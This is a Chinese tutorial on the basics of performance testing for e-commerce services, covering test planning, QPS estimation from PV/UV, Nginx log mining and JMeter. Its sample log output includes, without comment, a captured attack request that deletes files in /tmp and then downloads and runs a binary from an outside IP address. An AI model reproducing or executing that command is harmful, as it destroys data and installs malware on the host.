實戰 | 電商業務的性能測試(一): 必備基礎知識

本文為霍格沃茲測試學院優秀學員課程學習系列筆記，想一起系統進階的同學文末加群交流。

1.1 測試步驟總覽

需求分析與測試設計（性能需求目標+業務模型拆解）

測試數據準備和構造(基于模型的數據準備)

性能指標預期(性能需求目標)

發壓工具配置及腳本編寫（壓力策略）

測試過程（預計的前置準備過程和壓測時間點規劃）

結果分析與測試報告

1.2 測試模型分析

如下的測試模型來簡單的說明測試中需要關注的點和測試的目的

image1080×600 46.7 KB

字段說明

1、橫軸 :?代表并發數，也就對應著Jmeter里面的線程數

2、Utizilation(U)?:資源利用率

3、Throughput(X):?吞吐量，對應QPS或TPS

4、ResponseTime??：響應時間

拐點?分析：

第一條虛線處的拐點代表著隨著并發數的增加，資源利用率(CPU資源等)和吞吐量也在伴隨著遞增， 這個時候我們的響應時間有小幅度的增加，但是在可接受的范圍之內；在這個點是做容量規劃最好的參考點

第二條虛線處的拐點表示隨著并發數的繼續增加，系統資源已經到達了瓶頸，吞吐量開始明顯下降，響應時間會大幅增加，也就是說已經到達了性能的瓶頸，請求隊列開始擠壓，這個時候已經嚴重影響用戶體驗或者有系統崩潰的風險。

2.1 需求分析與測試設計

此處從性能需求目標與業務模型拆解兩方面著手，

1、目標場景分類：

新上線系統性能測試：要求容量測試，系統最大容量

系統升級類性能測試：和基線版本對比，性能不下降

新系統性能優化測試：伴隨調優目標的性能測試

注：在后面的演示中，會以新系統上線的容量測試為例，目標為獲取系統最大容量

字段說明：

基準測試：見下圖，我的理解就是性能測試，找到最優的QPS(TPS)點

image1080×615 37.5 KB

容量測試?：見下圖，我的理解為壓力測試，在達到性能瓶頸后繼續加壓，測試系統的最大承載量

image1080×644 48 KB

新系統想要確定測試基準，就需要拿到數據，而產品一般是不會直接告訴我們QPS?的，產品會告訴我們?PV/UV?天。

根據?PV?、UV?再結合業務場景來計算確認我們的測試需求；將其轉化為小時或分鐘，或秒；另外業務場景可能會幾種在某個時間段，比如工作日的8個小時時間：

UV?：或者外賣產品則集中在午飯和晚飯的2個小時時間段，假如UV?為1000w/天，那么高峰時段占了總用戶數的80%：

1000w * 80% / (4*3600) = 每秒的并發用戶數

PV?：PV?可以直接對應到QPS指標，好比一個電商產品，產品分別給出了首頁、商品頁、訂單頁的PV，便可依此來進行性能測試的基準設計。如果粗略的按24小時算QPS的話就是QPS = PV(天)/24/3600

2、根據具體的性能測試需求，確定測試類型以及壓測的模塊(web/mysql/redis/系統整體)

3、前期要與相關人員充分溝通，初步確定壓測方案及具體性能指標

4、QA完成性能測試設計后，需產出測試方案文檔發送郵件到項目組，并且再次與相關人員溝通(或者組織性能測試評審)，確認是否滿足需求

2.2、測試數據準備和構造

數據的準備可以如下幾點：

1、接口請求參數：自己構造、日志獲取、上下關聯

自己構造?：自己抓包等，這個有個問題就是后端可能有緩存而造成對實際壓力程度的影響

日志獲取：推薦常用，通過日志或數據庫獲取大批量的數據然后打散

例如，我們的請求是通過Nginx轉發的，那么可以通過Nginx的日志來獲取請求數據,現有如下的log：

image1080×304 134 KB

現在我們可以利用Linux?三劍客中的awk?命令配合上排序的shell命令對log進行提取過濾,找出訪問量最高的請求：

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15

4709 /sso/register

4703 /sso/login

157 400

139 /

8 http://www.baidu.com/cache/global/img/gs.gif

5 /index.php

4 mstshash=Administr"

4 /license.txt

4 ip.ws.126.net:443

4 "

2 /sso/getAuthCode?telephone=17138134641

2 /sso/getAuthCode?telephone=17127460936

2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7

2 /robots.txt

2 /phpmyadmin/

上下關聯：

有些數據我們是無法提前獲取的，好比用戶的訂單數據和購物車數據，這些需要用戶下單后生成，因此就需要在下單接口后通過上下關聯的接口返回值來獲取

2、數據表的數據填充?：

可以利用jmeter的高并發通過接口來提前創建數據

3、如果是多接口，則需要結合業務場景設計請求比例?：

比如用戶瀏覽主頁的PV和瀏覽商戶的比例為1：2，那么接口的比例設計也就按照1：2來設計。

2.3、性能指標預期

1.每秒請求數（QPS）

2.請求響應時間（最大，最小，平均值）

3.錯誤率

4.機器性能：cpu idel30%,memory無劇烈抖動或飆升

5.壓測過程接口功能是否正常

6.不同性能測試方式下指標預期是否有差異

2.4、發壓工具配置及腳本編寫

1.發壓工具準備-jmeter簡介

(1) 集成包，解壓即可使用，Windowns, Linux, Mac通用（依賴Java環境）

(2) jmx文件為xml文件，Win，Linux環境均可運行

(3) 多線程并發

(4) 運行完腳本會生成jtl日志，可在Win、Mac環境界面中查看、統計

使用jmeter可以做到：

壓測場景?：單接口/復雜事物——>場景構造

壓力需求?：<1000QPS?或者萬級以上的使用Jmeter?分布式支持的方式

是否周期性?：Jmeter jmx場景文件，數據驅動，結果落庫

二次開發需求?：Jmeter開源插件化思想，支持Thrift

協議支持?：Dubbo等多種協議，可以快速平臺化

問題支持?：開放社區，廣泛使用

2.腳本編寫

(1) HTTP

(2) 其他

3.命令啟動，Jmeter 本身也是軟件，也有自己的承載限制，所以真正測試過程還是要以命令行運行的方式，UI 可以作為編寫和調試腳本使用

啟壓：./jmeter -n -t hb.jmx-l hb.jtl

2.5 測試過程

1、測試前環境檢查：記錄機器參數

2、起壓：根據被壓情況，調節并發量到合適情況

3、查看記錄各項性能指標

nginx?日志查看每秒請求數

查看nginx?錯誤請求

查看機器參數：cpu?idel、mem?等

查看db?、cache?等數據是否寫入正常

訪問接口，查看功能是否正常

2.6 結果分析與測試報告

1、根據測試過程中記錄的各項參數，結合壓測工具產生的日志，對測試結果進行分析，并產出測試報告

2、測試完成后，及時與相關人員溝通，確認是都滿足需求

3、發送測試報告郵件

以上只是做了個性能測試的基礎知識鋪墊，后續在此理論基礎上，以電商業務為背景，結合?Docker?+Jmeter?+Influx?+Grafana?完成一個實例壓測與監控~

更多技術文章： ?https://qrcode.ceba.ceshiren.com/link?name=article&project_id=qrcode&from=hwyun×tamp=1651908099

云性能測試服務 CPTS 彈性文件服務 自建電商

版權聲明：本文內容由網絡用戶投稿，版權歸原作者所有，本站不擁有其著作權，亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容，請聯系我們jiasou666@gmail.com 處理，核實后本網站將在24小時內刪除侵權內容。